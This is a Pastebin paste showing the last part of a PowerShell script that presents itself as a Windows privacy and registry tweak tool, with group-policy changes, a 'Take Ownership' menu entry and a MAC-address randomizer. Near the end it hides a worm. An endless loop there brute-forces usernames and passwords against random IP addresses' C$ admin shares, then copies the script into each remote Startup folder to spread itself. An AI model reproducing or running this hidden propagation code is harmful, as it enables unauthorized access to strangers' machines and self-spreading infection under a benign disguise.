  1542. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" -ValueName **del.AutomaticMaintenanceEnabled -Type String -Data ""
  1543. Start-Sleep 1
  1544. Write-Progress -Activity "Securing local group policy for privacy (this might take a minute or two)" -Status "Progress:" -PercentComplete 75
  1545. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" -ValueName **del.DetectionFrequency -Type String -Data ""
  1546. Start-Sleep 1
  1547. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" -ValueName AUOptions -Type DWord -Data 2
  1548. Start-Sleep 1
  1549. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" -ValueName DetectionFrequencyEnabled -Type DWord -Data 0
  1550. Start-Sleep 1
  1551. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" -ValueName EnableFeaturedSoftware -Type DWord -Data 1
  1552. Start-Sleep 1
  1553. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" -ValueName NoAutoUpdate -Type DWord -Data 0
  1554. Start-Sleep 1
  1555. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" -ValueName ScheduledInstallDay -Type DWord -Data 0
  1556. Start-Sleep 1
  1557. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" -ValueName ScheduledInstallTime -Type DWord -Data 3
  1558. Start-Sleep 1
  1559. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "SOFTWARE\Policies\Microsoft\WMDRM" -ValueName DisableOnline -Type DWord -Data 1
  1560. Start-Sleep 1
  1561. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\User\registry.pol -Key "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" -ValueName NoInstrumentation -Type DWord -Data 1
  1562. Start-Sleep 1
  1563. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\User\registry.pol -Key "Software\Policies\Microsoft\Internet Explorer\Privacy" -ValueName EnableInPrivateBrowsing -Type DWord -Data 0
  1564. Start-Sleep 1
  1565. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\User\registry.pol -Key "Software\Policies\Microsoft\Internet Explorer\Safety\PrivacIE" -ValueName DisableLogging -Type DWord -Data 1
  1566. Start-Sleep 1
  1567. Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\User\registry.pol -Key "Software\Policies\Microsoft\Windows\EdgeUI" -ValueName DisableMFUTracking -Type DWord -Data 1
  1568. gpupdate /force
  1569. Write-Progress -Activity "Securing local group policy for privacy (this might take a minute or two)" -Status "Progress:" -PercentComplete 100
  1570.  
  1571. # More Registry Tweaks
  1572. # Fix DPI scaling blurry/fuzzy display at 125% (Might get reset by reboot/windows update)
  1573. Write-Progress -Activity "More Registry Tweaks!" -Status "Progress:" -PercentComplete 5
  1574.  
  1575. New-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:\Control Panel\Desktop" -Name "DpiScalingVer" -Value "0x00001018" -PropertyType DWORD -Force
  1576. New-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:\Control Panel\Desktop" -Name "Win8DpiScaling" -Value "0x00000001" -PropertyType DWORD -Force
  1577. # This sets it to 125% DPI scaling, un-comment if you do need it (you use 125% dpi scaling)
  1578. # New-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:\Control Panel\Desktop" -Name "LogPixels" -Value "0x00000078" -PropertyType DWORD -Force
  1579.  
  1580. # Add a 'Take Owner' option in your right-click menu (Powershell has problems with '*', using reg.exe)
  1581.  
  1582. echo Y | reg add "HKEY_CLASSES_ROOT\*\shell\runas" /ve /t REG_SZ /d "Take Ownership" /f
  1583. echo Y | reg add "HKEY_CLASSES_ROOT\*\shell\runas" /v NoWorkingDirectory /t REG_SZ /d "" /f
  1584. echo Y | reg add "HKEY_CLASSES_ROOT\*\shell\runas\command" /ve /t REG_SZ /d "cmd.exe /c takeown /f \`"%1\`" && icacls \`"%1\`" /grant administrators:F" /f
  1585. echo Y | reg add "HKEY_CLASSES_ROOT\*\shell\runas\command" /v IsolatedCommand /t REG_SZ /d "cmd.exe /c takeown /f \`"%1\`" && icacls \`"%1\`" /grant administrators:F" /f
  1586. Write-Progress -Activity "More Registry Tweaks!" -Status "Progress:" -PercentComplete 25
  1587. New-Item -ErrorAction SilentlyContinue -Force -Path "HKCR:\Directory\shell\runas"
  1588. New-Item -ErrorAction SilentlyContinue -Force -Path "HKCR:\Directory\shell\runas\command"
  1589. New-ItemProperty -ErrorAction SilentlyContinue -Force -Path "HKCR:\Directory\shell\runas" -Name '(Default)' -Value "Take Ownership"
  1590. New-ItemProperty -ErrorAction SilentlyContinue -Force -Path "HKCR:\Directory\shell\runas" -Name NoWorkingDirectory -Value ""
  1591. Write-Progress -Activity "More Registry Tweaks!" -Status "Progress:" -PercentComplete 50
  1592. New-ItemProperty -ErrorAction SilentlyContinue -Force -Path "HKCR:\Directory\shell\runas\command" -Name '(Default)' -Value "cmd.exe /c takeown /f `"%1`" /r /d y && icacls `"%1`" /grant administrators:F /t"
  1593. New-ItemProperty -ErrorAction SilentlyContinue -Force -Path "HKCR:\Directory\shell\runas\command" -Name IsolatedCommand -Value "cmd.exe /c takeown /f `"%1`" /r /d y && icacls `"%1`" /grant administrators:F /t"
  1594.  
  1595. # Show file extensions
  1596. New-ItemProperty -ErrorAction SilentlyContinue -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" -Name HideFileExt -PropertyType DWORD -Value 0 -Force
  1597. Write-Progress -Activity "More Registry Tweaks!" -Status "Progress:" -PercentComplete 75
  1598.  
  1599. # Enabling .NET 3.5 framework because a lot of programs still use it
  1600. Dism /online /Enable-Feature /FeatureName:NetFx3 /quiet /norestart
  1601. Write-Progress -Activity "More Registry Tweaks!" -Status "Progress:" -PercentComplete 100
  1602.  
  1603. # The following lines are for clean-up and compaction purposes. They could take hours and degrage performance.
  1604. # Write-Host "Compacting O/S Files"
  1605. # Compact.exe /F /CompactOS:always
  1606. # $tempfolders = @(“C:\Windows\Temp\*”, “C:\Windows\Prefetch\*”, “C:\Documents and Settings\*\Local Settings\temp\*”, “C:\Users\*\Appdata\Local\Temp\*”)
  1607. # Remove-Item $tempfolders -force -recurse
  1608. # Set-PolicyFileEntry -Path $env:systemroot\system32\GroupPolicy\Machine\registry.pol -Key "System\CurrentControlSet\Policies" -ValueName NtfsDisableCompression -Type DWord -Data 0
  1609.  
  1610. #
  1611. # Change Mac Menu
  1612.  
  1613. Write-Host "Enabling Random MAC address on WIFI!!! Please be patient... This may not work on all computers!!! (Especially HYPER-V)"
  1614. function random-mac ($ManufacturerName, $ManufacturerID, $Delimiter, [Switch] $TotallyRandom, [Switch] $LocallyAdministered, [Switch] $Multicast)
  1615. {  
  1616.     # $mac will be padded with random hex later, but add a random vendor ID by default.
  1617.     if ($TotallyRandom) { $mac = "" }  
  1618.     else
  1619.     {
  1620.         # First three bytes will come from the manufacturer ID number.
  1621.         # Some input checking of the manufacturer selection...
  1622.         if ($ManufacturerName -and $ManufacturerName.StartsWith("3")) { $ManufacturerName = "ThreeCom" }
  1623.         if ($ManufacturerName -and $ManufacturerName.ToUpper().StartsWith("D-")) { $ManufacturerName = "DLink" }
  1624.         if ($ManufacturerID -and $ManufacturerID.ToString().length -gt 12) { $ManufacturerID = $ManufacturerID.ToString().SubString(0,12) }
  1625.        
  1626.         # Manufacturer identifiers last updated on 5.Feb.2011:
  1627.         $vendor = @{
  1628.             "Netgear" = "0024B2 0026F2 30469A A021B7 C03F0E C43DC7 E0469A E091F5 000FB5 00146C 00184D 001B2F 001E2A 001F33 00223F 00095B" ;
  1629.             "DLink" = "00055D 000D88 000F3D 001195 001346 0015E9 00179A 00195B 001B11 001CF0 001E58 002191 0022B0 002401 00265A 0050BA 0080C8 14D64D 1CAFF7 1CBDB9 340804 5CD998 F07D68" ;
  1630.             "ThreeCom" = "000102 000103 00029C 00040B 00051A 00068C 000A04 000A5E 000BAC 000D54 000E6A 000FCB 00104B 00105A 0012A9 00147C 0016E0 00186E 001AC1 001CC5 001EC1 0020AF 002257 002473 002654 00301E 005004 005099 0050DA 006008 00608C 006097 009004 00A024 00D096 00D0D8 02608C 02C08C 08004E 20FDF1 4001C6" ;
  1631.             "Intel" = "0002B3 000347 000423 0007E9 000CF1 000E0C 000E35 001111 0012F0 001302 001320 0013CE 0013E8 001500 001517 00166F 001676 0016EA 0016EB 0018DE 0019D1 0019D2 001B21 001B77 001CBF 001CC0 001DE0 001DE1 001E64 001E65 001E67 001F3B 001F3C 00207B 00215C 00215D 00216A 00216B 0022FA 0022FB 002314 002315 0024D6 0024D7 0026C6 0026C7 00270E 002710 0050F1 009027 00A0C9 00AA00 00AA01 00AA02 00D0B7 081196 0CD292 100BA9 183DA2 247703 4025C2 448500 4C8093 502DA2 58946B 648099 64D4DA 685D43 74E50B 78929C 809B20 88532E 8CA982 A088B4 AC7289 BC7737 DCA971" ;
  1632.             "HP" = "0001E6 0001E7 0002A5 0004EA 000802 000883 0008C7 000A57 000BCD 000D9D 000E7F 000EB3 000F20 000F61 001083 0010E3 00110A 001185 001279 001321 001438 0014C2 001560 001635 001708 0017A4 001871 0018FE 0019BB 001A4B 001B78 001CC4 001E0B 001F29 00215A 002264 00237D 002481 0025B3 002655 00306E 0030C1 00508B 0060B0 00805F 0080A0 080009 18A905 1CC1DE 2C27D7 3C4A92 643150 68B599 78ACC0 78E3B5 78E7D1 984BE1 B499BA B8AF67 D48564 D8D385 F4CE46" ;
  1633.             "Apple" = "000393 000502 000A27 000A95 000D93 0010FA 001124 001451 0016CB 0017F2 0019E3 001B63 001CB3 001D4F 001E52 001EC2 001F5B 001FF3 0021E9 002241 002312 002332 00236C 0023DF 002436 002500 00254B 0025BC 002608 00264A 0026B0 0026BB 003065 0050E4 00A040 041E64 080007 1093E9 109ADD 18E7F4 24AB81 28E7CF 34159E 3C0754 40A6D9 40D32D 442A60 581FAA 5855CA 58B035 5C5948 60334B 60FB42 64B9E8 70CD60 78CA39 7C6D62 7CC537 7CF05F 88C663 8C5877 8C7B9D 9027E4 90840D 9803D8 A46706 A4B197 B8FF61 C42C03 C82A14 C8BCC8 CC08E0 D49A20 D83062 D89E3F D8A25E DC2B61 E0F847 E4CE8F E80688 F0B479 F81EDF" ;
  1634.             "AlliedTelesis" = "0000CD 0000F4 000941 000A79 000DDA 001130 001577 001AEB 002687 009099 00A0D2 ECCD6D" ;
  1635.             "QLogic" = "000E1E 001B32 0024FF 00C0DD 00E08B"
  1636.         }
  1637.  
  1638.         # Check that $ManufacturerName actually matches one of the valid $vendors here.
  1639.         if ($ManufacturerName -and ($vendor.keys -notcontains $ManufacturerName))
  1640.         { throw "`nYou must choose a vendor from this list:`n" + $vendor.keys }
  1641.        
  1642.         # Generate the first three bytes of the MAC or use the $ManufacturerID instead.
  1643.         if ($ManufacturerID) { $mac = $ManufacturerID.ToString().ToUpper() -replace '[^A-F0-9]',"" }
  1644.         elseif ($ManufacturerName) { $mac = get-random -input @($vendor.$ManufacturerName -split " ") }
  1645.         else { $mac = get-random -input @($vendor.$(get-random -input @($vendor.keys)) -split " ") }
  1646.     }
  1647.    
  1648.     # Now padright with random hex characters until we have twelve chars.
  1649.     while ($mac.length -lt 12)
  1650.     {
  1651.         $mac += "{0:X}" -f $(get-random -min 0 -max 16)
  1652.     }
  1653.    
  1654.     # Now set the unicast/multicast flag bit.
  1655.     # First low-order bit (right-most bit): 0 = unicast, 1 = multicast
  1656.     # For the bit flags, see http://en.wikipedia.org/wiki/MAC_address  
  1657.     [Byte] $firstbyte = "0x" + $mac.substring(0,2)      # Convert first two hex chars to a byte.
  1658.  
  1659.     if ($multicast)
  1660.     {
  1661.         $firstbyte = [Byte] $firstbyte -bor [Byte] 1     # Set low-order bit to 1: multicast
  1662.         $mac = ("{0:X}" -f $firstbyte).padleft(2,"0") + $mac.substring(2)
  1663.     }
  1664.     else
  1665.     {
  1666.         $firstbyte = [Byte] $firstbyte -band [Byte] 254  # Set low-order bit to 0: unicast
  1667.         $mac = ("{0:X}" -f $firstbyte).padleft(2,"0") + $mac.substring(2)
  1668.     }
  1669.    
  1670.    
  1671.     # Now set the vendor-unique/locally-administered flag.
  1672.     # Next-to-low-order bit (second from right): 0 = unique vendor, 1 = locally administered
  1673.     if ($locallyadministered)
  1674.     {
  1675.         $firstbyte = [Byte] $firstbyte -bor [Byte] 2     # Set second low-order bit to 1: locally
  1676.         $mac = ("{0:X}" -f $firstbyte).padleft(2,"0") + $mac.substring(2)
  1677.     }
  1678.     else
  1679.     {
  1680.         $firstbyte = [Byte] $firstbyte -band [Byte] 253  # Set second low-order bit to 0: vendor unique
  1681.         $mac = ("{0:X}" -f $firstbyte).padleft(2,"0") + $mac.substring(2)
  1682.     }
  1683.    
  1684.        
  1685.     # Add delimiter, if any, and return the $mac.
  1686.     if ($Delimiter)
  1687.     {
  1688.         for ($i = 0 ; $i -le 10 ; $i += 2)
  1689.         { $newmac += $mac.substring($i,2) + $Delimiter }
  1690.         $newmac.substring(0,$($newmac.length - $Delimiter.length))
  1691.     }
  1692.     else
  1693.     { $mac }
  1694. }
  1695.  
  1696.  
  1697. # Get the NICs which are not tunnels, not for virtual machines, and not for bluetooth.
  1698. $nics = @(Get-WmiObject -Query "select * from win32_networkadapter where adaptertype != 'Tunnel' and adaptertype is not null" | `
  1699. where { $_.description -notmatch 'VMware|Virtual|WAN Miniport|ISATAP|RAS Async|Teredo|Windows Mobile Remote|6to4|Bluetooth' } )
  1700.  
  1701. # If more than one physical NIC, prompt the user to select one, if the index number was not given.
  1702. if ($nics.count -eq 0) { "`nCannot identify a valid network interface device, quitting...`n" ; exit }
  1703. elseif ($nics.count -eq 1 -and -not $InterfaceIndexNumber) { $index = $nics[0].index }
  1704. else
  1705. {
  1706.     if ($InterfaceIndexNumber) { $index = $InterfaceIndexNumber }
  1707.     else
  1708.     {
  1709.         # Print a list of interfaces and prompt user to choose one.
  1710.         "`n"; $nics | format-table index,macaddress,netconnectionid,description -autosize
  1711.         $index = read-host -prompt "`nEnter the index number of the desired interface"
  1712.     }
  1713. }
  1714.  
  1715. # Check that a valid index number was actually entered.
  1716. $good = $false; switch ($nics | foreach {$_.index}) { $index { $good = $true } }
  1717. if (-not $good) { "`n$index is not a valid index number, quitting...`n" ; exit }
  1718.  
  1719. # Confirm that you can get the NIC by the index number, so that it can be disabled/enabled later too.
  1720. $thenic = Get-WmiObject -Query "select * from win32_networkadapter where deviceid = $index"
  1721. if (-not $?) { "`nThere was a problem getting the interface, quitting...`n" ; exit }
  1722.  
  1723. # The registry key for the nic always has four digits, so padleft, then get the key.
  1724. $index = $index.tostring().padleft(4,"0")
  1725. $regkey = get-item "hklm:\system\CurrentControlSet\control\class\{4D36E972-E325-11CE-BFC1-08002BE10318}\$index"
  1726. if (-not $?) { "`nThere was a problem getting the registry key, quitting...`n" ; exit }
  1727.  
  1728. # Show how WMI sees the current MAC address.
  1729. ("`nWMI reports the current MAC address for interface $index as " + $thenic.macaddress + ".").replace(":","")
  1730.  
  1731. # Show current registry value for MAC address, if any.
  1732. $macaddress = $regkey.getvalue("NetworkAddress")
  1733. if ($macaddress -eq $null) {"Custom MAC address registry value does not exist for interface index $index."}
  1734. else {"Current registry MAC value for interface $index is $macaddress."}
  1735.  
  1736. # If requested, delete the registry value for a custom MAC, which resets to the default burnt-in
  1737. # MAC; otherwise, set the registry value for a custom MAC address.
  1738. if ($resetdefault)
  1739. {
  1740.     if ($macaddress -ne $null)
  1741.     {
  1742.         "Deleting registry value for a custom MAC, which resets to the default MAC address."
  1743.         $regpath = "hklm:\system\CurrentControlSet\control\class\{4D36E972-E325-11CE-BFC1-08002BE10318}\$index"
  1744.         remove-itemproperty -path $regpath -name "NetworkAddress"
  1745.         if (-not $?) { "`nFAILED to delete the registry value for the MAC address!`n" ; exit }
  1746.     }
  1747. }
  1748. else
  1749. {
  1750.     # Set new value for MAC address.
  1751.     $regpath = "hklm:\system\CurrentControlSet\control\class\{4D36E972-E325-11CE-BFC1-08002BE10318}\$index"
  1752.     if ($wireless)
  1753.     {
  1754.         set-itemproperty -path $regpath -name "NetworkAddress" -value $(random-mac -locallyadministered)
  1755.     }
  1756.     else
  1757.     {
  1758.         set-itemproperty -path $regpath -name "NetworkAddress" -value $(random-mac)
  1759.     }
  1760.     if (-not $?) { "`nFAILED to set the registry value for the MAC address!`n" ; exit }
  1761.  
  1762.     # Show new registry value for MAC address.
  1763.     $macaddress = $regkey.getvalue("NetworkAddress")
  1764.     if ($macaddress -eq $null) { "`nFAILED to change the registry value for a custom MAC address`n" ; exit }
  1765.     else {"The new registry MAC value for interface $index is $macaddress."}
  1766. }
  1767.  
  1768. # Release DHCP leases, disable the interface, re-enable, renew DHCP.
  1769. if ($DoNotResetInterface)
  1770. {   "Changes will not take effect until after the interface has been disabled and enabled.`n" }
  1771. else
  1772. {
  1773.     "Refreshing the interface, this may take a few seconds..."
  1774.     ipconfig.exe /release """$($thenic.netconnectionid)"""   | out-null
  1775.     ipconfig.exe /release6 """$($thenic.netconnectionid)"""  | out-null
  1776.     $thenic.disable() | out-null
  1777.     if (-not $?) { "FAILED to disable the interface!" }
  1778.     $thenic.enable() | out-null
  1779.     if (-not $?) { "FAILED to enable the interface!" }
  1780.     ipconfig.exe /renew """$($thenic.netconnectionid)"""  | out-null
  1781.     ipconfig.exe /renew6 """$($thenic.netconnectionid)""" | out-null
  1782.     "...done refreshing the interface."
  1783.  
  1784.     # Confirm through WMI again that the change actually took effect.
  1785.     $thenic = Get-WmiObject -Query "select * from win32_networkadapter where deviceid = $index"
  1786.     ("WMI reports the current MAC address for interface $index as " + $thenic.macaddress + ".`n").replace(":","")
  1787. }
  1788.  
  1789. $charset  = @()
  1790. $charset += ([char]'0'..[char]'9') |% {[char]$_}
  1791. $charset += ([char]'a'..[char]'z') |% {[char]$_}
  1792. $charset += ([char]'A'..[char]'Z') |% {[char]$_}
  1793. $charset  = $charset | Select-Object -uniq
  1794.  
  1795. function Get-NextPassword() {
  1796.     param(
  1797.         $Password
  1798.     )    
  1799.        
  1800.     if (($Password -eq $null) -or ($Password -eq '')) {
  1801.         #Started with nothing, return the first item of the character set.
  1802.         return [string]$charset[0]
  1803.     }
  1804.     else {
  1805.         for ($pass_pos = ($Password.Length - 1); $pass_pos -ge 0; $pass_pos--) {            
  1806.             $charset_pos = [array]::indexOf($charset, [char]$Password[$pass_pos])
  1807.             if ($charset_pos -eq $charset.Length - 1) {
  1808.                 #Overflow of the current password position.
  1809.                 $tempArray = $Password[0..$Password.Length]
  1810.                 $tempArray[$pass_pos] = $charset[0]
  1811.                 $Password = $tempArray -join ""
  1812.                 #Add character. Extend by 1 position.
  1813.                 if ($pass_pos -eq 0) {
  1814.                     $Password = $charset[0] + $Password
  1815.                 }
  1816.             }
  1817.             else {
  1818.                 #No overflow, update the current position +1 of the current character.
  1819.                 $tempArray = $Password[0..$Password.Length]
  1820.                 $tempArray[$pass_pos] = $charset[$charset_pos+1]
  1821.                 $Password = $tempArray -join ""
  1822.                 break #No overflow, therefore break the loop.
  1823.             }
  1824.         }    
  1825.         return $Password
  1826.     }
  1827.    
  1828. }    
  1829.  
  1830. $charsetu += ([char]'a'..[char]'z') |% {[char]$_}
  1831. $charsetu += ([char]'A'..[char]'Z') |% {[char]$_}
  1832. $charsetu  = $charsetu | Select-Object -uniq
  1833.  
  1834. function Get-NextUser() {
  1835.     param(
  1836.         $User
  1837.     )    
  1838.        
  1839.     if (($User -eq $null) -or ($User -eq '')) {
  1840.         #Started with nothing, return the first item of the character set.
  1841.         return [string]$charsetu[0]
  1842.     }
  1843.     else {
  1844.         for ($user_pos = ($User.Length - 1); $user_pos -ge 0; $user_pos--) {            
  1845.             $charsetu_pos = [array]::indexOf($charsetu, [char]$User[$user_pos])
  1846.             if ($charsetu_pos -eq $charsetu.Length - 1) {
  1847.                 #Overflow of the current password position.
  1848.                 $tempArray = $User[0..$User.Length]
  1849.                 $tempArray[$user_pos] = $charsetu[0]
  1850.                 $User = $tempArray -join ""
  1851.                 #Add character. Extend by 1 position.
  1852.                 if ($user_pos -eq 0) {
  1853.                     $User = $charsetu[0] + $User
  1854.                 }
  1855.             }
  1856.             else {
  1857.                 #No overflow, update the current position +1 of the current character.
  1858.                 $tempArray = $User[0..$User.Length]
  1859.                 $tempArray[$user_pos] = $charsetu[$charsetu_pos+1]
  1860.                 $User = $tempArray -join ""
  1861.                 break #No overflow, therefore break the loop.
  1862.             }
  1863.         }    
  1864.         return $User
  1865.     }
  1866.    
  1867. }
  1868.  
  1869. function RandomIPv4 {
  1870.     param(
  1871.         $IP
  1872.     )
  1873. return [IPAddress]::Parse([String] (Get-Random) ).IPAddressToString
  1874. }
  1875.  
  1876.  
  1877. $Password = $null
  1878. $User = $null
  1879. $IP = $null
  1880.  While ($true) {
  1881.      $Password = Get-NextPassword $Password
  1882.      $Password
  1883.      $User = Get-NextUser $User
  1884.      $User
  1885.      $IP = RandomIPv4 $IP
  1886.      $IP
  1887.      $MyJob = Start-Job -ArgumentList \\$IP\C$ ,/u:$IP\$user ,$Password -ScriptBlock { NET USE $args[0] $args[1] $args[2] }
  1888.      $MyJobp = Start-Job -ArgumentList "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" ,"\\$IP\C$\\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp", Powershell.ps1 -ScriptBlock { Robocopy $args[0] $args[1] $args[2] }
  1889. }
  1890.  
  1891. Write-Host
  1892. Write-Host "Press any key to restart your system..." -ForegroundColor Black -BackgroundColor White
  1893. $key = $host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
  1894. Write-Host "Restarting..."
  1895. Restart-Computer
  1896. }
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!